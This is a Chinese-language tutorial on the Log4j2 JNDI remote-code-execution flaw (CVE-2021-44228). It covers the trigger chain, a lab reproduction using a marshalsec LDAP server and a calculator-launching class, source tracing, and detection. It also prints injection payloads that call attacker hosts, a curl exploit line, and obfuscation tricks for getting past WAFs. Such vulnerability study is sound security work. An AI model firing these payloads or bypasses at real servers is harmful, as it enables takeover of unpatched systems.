Apachelog4j2-RCE-漏洞(CVE-2021-44228)

Apachelog4j2-RCE-漏洞(CVE-2021-44228)
Takake1.漏洞简介
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apahe Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1
2.漏洞原理
2.1. 原理概述
Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致log4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞.
2.2.JNDI
开发人员一般会使用log4j2在日志中输出一些变量,log4j2 除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的时候,通过多种方式去查找要输出的内容,其中就可以使用/lookup
JNDI (lava Naming and Directory lnterface, JAVA命名和目录接口): 它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。INDI下面有很多目录接口,用于不同的数据源的查找引用。
2.3.触发过程
log4j2远程代码执行漏洞大致过程(此处使用RMI,LDAP同理):假设有一个ava程序,将用户名信息到了日志中,如下
1.攻击者发送一个HTTP请求,其用户名为 ${jndi:rmi://rmi服务器地址/Exploit)
2.被攻击服务器发现要输出的信息中有 ${},则其中的内容要单独处理,进一步解析是ND扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
3.RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。
4.被攻击服务器通过Reference对象去请求文件下载服务器上的class文件
5.被攻击服务器下载恶意class文件并执行其中的恶意代码。
3.1.流程复现
3.1.1.开发环境搭建
pom.xml
1 | <!-- Log4j2 的 API --> |
Controller
1 | private static final Logger logger = LogManager.getLogger(Log4j2Controller.class); |
3.1.2.接口测试
3.1.3.搭建ldap服务器
1 | //jndi 代码执行恶意类 |
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.128:8888/#Calc" 1099 |
开启打开计算器恶意类接口8888
3.1.4.向日志服务器发送payload
此服务username参数为日志信息接口
由于是get请求因此将参数进行url编码
发送请求执行代码
4.1.linux复现
4.1.1.启动vunhub
ip:192.168.100.129 port:8983
1 | 进入复现目录CVE-2021-44228 |
1 | //恶意类代码 |
请求目标服务器
命令执行成功
5.1.直接dnslog测试
5.1.1.出网测试方法
5.1.1.局域网测试方法
起个文件服务,使用ldap/rmi协议访问同样有反应
6.log4j2源码污点跟踪
逻辑调用图:
调用堆栈:
1 | lookup:172, JndiManager (org.apache.logging.log4j.core.net) |
6.1.通过源码分析定位到MessagePatternFormatterConverter类
log4j2 将日志信息封装成一个事件对象,传入MessagePatternFormatterConverter.format对象,匹配$符号中的内容。
检测日志内容是否包含${
,若存在则进入表达式解析流程。该过程通过正则匹配触发后续的递归解析逻辑
进入StrSubstitutor类
递归解析嵌套的${}
表达式(如${${jndi:rmi://...}}
),提取变量名(如jndi:rmi://...
)并分割类型(如jndi
)与参数(如rmi://...
)
通过prefixMatcher
和suffixMatcher
分别匹配${
和}
递归调用substitute
处理多层嵌套表达式。
进入Interpolator类
根据变量前缀(如jndi
、env
)选择对应的解析器。例如,jndi
会触发JndiLookup
类的解析
识别前缀jndi
进入JndiLookup.lookup()函数
分割jndi:
后的协议(如rmi
、ldap
),调用JndiManager.lookup
发起JNDI请求
- 解析URI格式(如
jndi:ldap://evil.com/exploit
)。 - 通过
InitialContext.lookup()
连接到攻击者控制的JNDI服务器,加载远程恶意类(如通过LDAP/RMI协议触发反序列化或远程代码执行)。
7.漏洞探测
1. 通用探测方法
(1) DNSLog回显验证
- 核心原理:利用Log4j2的表达式解析特性,注入
${jndi:ldap://xxx.dnslog.cn}
类Payload,若目标服务器触发漏洞,会向攻击者控制的DNSLog平台发起请求,暴露IP或域名信息。 - 关键步骤:
- 生成DNSLog平台(如dnslog.cn、ceye.io)的临时域名。
- 向目标系统发送包含恶意Payload的请求(如HTTP头、参数、Cookie等)。
- 检查DNSLog平台是否收到请求记录,确认漏洞存在。
- 优势:无侵入性,适合快速验证漏洞24。
(2) HTTP请求触发
- 扩展验证:若DNSLog被拦截,可改用HTTP协议触发(如
${jndi:http://attacker.com/payload}
),通过监听HTTP服务器日志查看请求记录,进一步确认漏洞。
2. 工具化探测方案
(1) BurpSuite插件
- Log4j2Scan:支持被动扫描,自动替换请求中的参数为Payload,但存在发包量大、易被WAF拦截的问题。
- Yakit插件:集成多类Payload,支持自定义DNSLog域名(如
iyhc.eu.org
),绕过常见黑名单限制,识别率较高。 - Xray + 返连平台:需配置公网服务器搭建JNDIMonitor服务,通过返连平台接收漏洞触发的连接请求,适合高隐蔽性探测。
(2) 命令行工具
手动构造请求:利用
curl
或Python脚本发送特定格式的请求,例如:1
curl -H "User-Agent: \${jndi:ldap://xxx.dnslog.cn}" http://target.com/api
此方法需配合日志级别触发条件(如Struts2框架需触发WARN级别日志)。
3. 框架适配探测
(1) Struts2框架
触发点:利用拦截器的日志记录功能,构造特定请求头或参数:
- 方法1:访问静态文件(如
/struts/utils.js
)并设置非法If-Modified-Since
头,触发WARN级别日志。 - 方法2:发送超长参数名(>100字符),触发DEBUG级别日志记录。
1
2GET /struts/utils.js
If-Modified-Since: ${jndi:ldap://xxx.dnslog.cn}- 方法1:访问静态文件(如
(2) Spring Boot
注入点:通过HTTP参数、请求头或表单字段注入Payload,例如:
1
2POST /login
username=test&password=\${jndi:rmi://attacker.com/exploit}
8.防御绕过技巧
(1) Payload混淆
编码绕过:使用URL编码、Base64或Unicode转义,例如:
1
${${::-j}ndi:ldap://xxx.dnslog.cn}
嵌套表达式:构造多层嵌套表达式,如
${${env:USER}}
,增加检测难度。
(2) 协议切换
当LDAP/RMI被拦截时,尝试使用
dns
、iiop
等协议:1
${jndi:dns://xxx.dnslog.cn}